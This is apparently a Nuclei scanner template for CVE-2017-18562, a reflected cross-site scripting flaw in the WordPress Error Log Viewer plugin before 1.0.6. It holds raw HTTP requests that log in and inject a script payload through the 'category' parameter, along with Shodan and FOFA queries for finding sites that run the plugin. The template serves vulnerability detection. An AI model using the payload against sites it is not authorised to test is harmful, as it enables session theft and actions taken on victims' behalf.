id: CVE-2017-18562 info: name: Error Log Viewer by BestWebSoft < 1.0.6 - Cross-Site Scripting author: luisfelipe146 severity: medium description: | The error-log-viewer plugin before 1.0.6 for WordPress has multiple XSS issues. impact: | Authenticated attackers can execute arbitrary JavaScript in victims' browsers, potentially stealing session cookies, credentials, or performing actions on behalf of users. remediation: | Update to version 1.0.6 or later. reference: - https://wpscan.com/vulnerability/efd816c3-90d4-40bf-850a-0e4c1a756694 - https://nvd.nist.gov/vuln/detail/CVE-2017-18562 - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-18562 - https://wordpress.org/plugins/error-log-viewer/#developers classification: cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2017-18562 cwe-id: CWE-79 epss-score: 0.00097 epss-percentile: 0.26988 cpe: cpe:2.3:a:bestwebsoft:error_log_viewer:*:*:*:*:*:wordpress:*:* metadata: verified: true max-request: 3 vendor: bestwebsoft product: error_log_viewer framework: wordpress shodan-query: http.html:/wp-content/plugins/error-log-viewer/ fofa-query: body=/wp-content/plugins/error-log-viewer/ publicwww-query: "/wp-content/plugins/error-log-viewer/" tags: cve,cve2017,wordpress,wp-plugin,xss,bws-error-log,wpscan,authenticated,bestwebsoft,vuln http: - raw: - | POST /wp-login.php HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded log={{username}}&pwd={{password}}&wp-submit=Log+In - | GET /wp-admin/admin.php?page=bws_panel&category=%22%3E%3C/script%3E%3Cscript%3Ealert(document.domain)%3C/script%3E HTTP/1.1 Host: {{Hostname}} - | GET /wp-content/plugins/error-log-viewer/readme.txt HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'status_code_2 == 200' - 'contains(header_2, "text/html")' - 'contains(body_2, ">\">All")' - 'contains(body_3, "Error Log Viewer by BestWebSoft")' condition: and # digest: 490a004630440220097ac48aa364e8d60776a579c8e1927d25ea2171ee3b2b40946baa62e7b56e0102207ded7e9732153f1d83fd5e084e9f78e02c27a9e6d6a54e838431adade0fbceeb:922c64590222798bb761d5b6d8e72950